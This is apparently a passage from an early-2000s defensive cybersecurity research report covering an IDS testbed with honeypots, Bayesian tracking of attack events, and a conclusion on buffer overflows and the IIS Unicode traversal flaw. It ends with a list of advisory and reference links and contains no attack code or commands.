As part of ongoing research at the ISTS, an initial testing environment, consisting of a network with an address space of 1000 hosts, has been established. It has significant numbers of hosts that are regularly used as well as areas of unassigned IP addresses. The network is divided into five sections, which are being used to represent five separate networks. We are analyzing IDS data coming from network IDS (Snort and SHADOW) distributed across these five subnets. In addition to the normal machines that are on the network, we have a number of honeypot systems. These are vulnerable machines that serve no purpose other than to be attacked. This is done to make a target inviting to potential attackers, so that they may aid in our research by providing us real-world data. In later stages, multiple, distributed networks will be used for data collection and performance evaluation.

In preliminary tests, the testing network was used to gather real-world background noise data while generating simulated attacks against machines on that network. While not as accurate as completely real-world data, this allowed for better control of the data being analyzed. This is particularly useful during the developmental stages.

The system was tested using five simultaneous attack scenarios containing roughly 800 events. In addition, 200 non-scenario events were included as background noise. The tracking system was able to correctly place 89% of the scenario events into the correct scenarios. However, 20% of the non-scenario events were incorrectly included in the scenarios. This is the amount of information that was misclassified as being part of an attacker track while in fact it was not. It is important to note that false tracks were not created, but rather the information that was included in each track was not entirely correct.

It is likely that the tracking system could be improved through the use of a multiple pass technique. In the initial passes, easily identifiable groups of events would be gathered together to reduce the overall data volume. Instead of scanning attempts being seen as many individual events, they would be replaced by a single, more descriptive scan event. This would reduce the computational and memory requirements of the tracking problem. Thus, instead of getting bogged down with the large amount of easily classifiable events, the tracking system could concentrate on the events that are harder to classify.
The next stages of development include expanded testing and evaluation, development of multi-pass analysis techniques, integration with other types of intrusion detection systems and automated techniques for attack pattern generation. A multi-pass system would allow for quick local correlation, followed by more extensive global correlation. By integrating other types of intrusion detection systems, such as host-based IDS, the tracking system would be able to take advantage of different views of the same targets. By fusing data from various types of IDS that are all observing the same domain, the tracking system would have a more complete view of the behavior and actions of the attacker. Finally, the generation of attack patterns needs to be addressed. Currently, these are created manually. It is desirable to use machine-learning techniques to build these from historical data sets.

<table>
<thead>
<tr>
<th>Table 2: Modeling Types of Attacker Behavior</th>
</tr>
</thead>
<tbody>
<tr>
<td>Technique RoC</td>
</tr>
<tr>
<td>Source IP RoC</td>
</tr>
<tr>
<td>Dest. IP RoC</td>
</tr>
<tr>
<td>Dest. Port RoC</td>
</tr>
<tr>
<td>Dest. Port RoC</td>
</tr>
<tr>
<td>Time Rate of Events</td>
</tr>
<tr>
<td>Type of Events</td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
</tbody>
</table>

Cyber Attack Techniques and Defense Mechanisms
Conclusion

This paper has discussed cyber attack techniques and defense mechanism with the purpose of strengthening the position of ‘defenders’ in the fight against cyber threats. Often, understanding attack techniques more clearly is the first step toward increasing security.

Buffer overflows – attacks that make use of a failure to properly check input into memory on bounds in order to take control of a vulnerable system - are the most common form of cyber attacks used to compromise remote or local computers. While exact figures are unavailable, buffer overflows – also know as stack smash attacks – are believed to account for at least half of all online attacks. They have been shown to affect all kinds of platforms, operating systems and applications. Good programming practices and disabling the executable status of the input buffer could help protect against buffer overflows and limit the number of potential attackers. However, no foolproof solutions exist in this regard.

Using an exploit for the recent Extended Unicode Directory Traversal Vulnerability in Microsoft Internet Information Server (IIS) systems (versions 4 and 5) as an example, it is shown how easily relatively unskilled attackers can take control of vulnerable systems with simple attack techniques and readily available hacker tools. The exploit potentially allows an attacker to engage in a variety of malicious actions, such as defacing websites, propagating worms or gaining unauthorized access to sensitive data. Applying security patches, disabling unnecessary services and restricting permissions on user accounts can help protect against these kinds of attacks.

Further, a method for using Bayesian multiple hypothesis tracking to classify intrusion detection system events into attack sequences has been presented. This may be used to reorganize existing IDS data in order to provide security analysts with a better situational view of what is occurring on their networks. By doing so, the actions of individual attackers are made clear so that the proper steps to minimize the potential damage and losses due to attack may be taken as rapidly as possible. This could help clarify hacker attack tools and techniques and protect critical infrastructure and government systems against coordinated, large-scale cyber threats.

Cyber security and infrastructure protection can only be achieved by understanding the behavior and techniques of attackers and building defenses based on this knowledge. The cyber arms race can be won if defenders possess the same resources and skills as hackers and cyber terrorists.
Additional Information

Buffer Overflows

A complete list of CERT advisories is available at - http://www.cert.org/advisories/
For more examples of buffer overflow vulnerabilities see - http://linux.oreillynet.com/pub/a/linux/2002/02/11/insecurities.html

SecurityFocus online vulnerabilities resource - http://online.securityfocus.com/sfonline/vulns/stats.shtml
‘Smashing the Stack for Fun and Profit’, Aleph One - http://downloads.securityfocus.com/library/P4914.txt
Secure programming resource – http://packetstorm.decepticons.org/programming-tutorials/unix_secure_programming.html
‘Opening the Open Source Debate’, Kenneth Brown, Alexis de Tocqueville Institute, June 2002
Linux kernel security patches - www.grsecurity.net
‘Countermeasures against Buffer Overflow Attacks’, Niklas Frykholm, RSA Security, November 30, 2000 -
http://www.rsasecurity.com/rsalabs/technotes BUFFER BUFFER_OVERFLOW.html

Microsoft IIS 4.0/5.0 Extended Unicode Directory Traversal Vulnerability Exploit

‘Patch Available for Web Server Folder Traversal Vulnerability’, Microsoft Security Bulletin (MS00 – 078), October 17, 2000 -
http://www.microsoft.com/technet/security/bulletin/ms00-078.asp
‘Microsoft IIS and PWS Extended Unicode Directory Traversal Vulnerability’ -
http://online.securityfocus.com/bid/1806/info/
‘What is SMB, NetBIOS etc?’ - http://huizen.dds.nl/~jacco2/samba/smb.html
‘UTF-8 decoder capability and stress test’, Markus Kuhn, September 2, 2000 -
http://www.cl.cam.ac.uk/~mgk25/ucs/examples/UTF-8-test.txt
‘The ever popular getadmin exploit’ –
http://www.insecure.org/sploits/NT.get-admin.kernal.hole.html
‘Silk Rope, an extra goodie for Back Orifice – Version 1.1’ -
http://web.textfiles.com/software/silkrope.txt
‘L0phtcrack 1.5 Lanman / NT password hash cracker’ -
http://www.insecure.org/sploits/l0phtcrack.lanman.problems.html
‘L0phtCrack 3.0’ - http://online.securityfocus.com/tools/1005
‘Download Sites Hacked, Source Code Backdoored’, Brian McWilliams, SecurityFocus, June 3, 2002

Analysis of Intrusion Detection Systems Using Bayesian Methods

‘Bayesian Multiple Target Tracking’, L. D. Stone, C. A. Barlow, and T. L. Corwin, Artech House, Norwood, MA, 1999
‘Intrusion detection FAQ’, SANS Institute, 2000 -
http://www.sans.org/newlook/resources/IDFAQ/ID FAQ.htm
‘Intrusion detection: Challenges and myths’, M. J. Ranum, 2000 -
http://secing.net/info/ides/ides mythe.html
‘EMERALD intrusion detection system home page’, SRI, 2001 -
http://www.sdl.sri.com/projects/emerald
‘Tracking with text-based messages’, C. Alberola and G. V. Cybenko, IEEE Intelligent Systems, P.70-78, 1999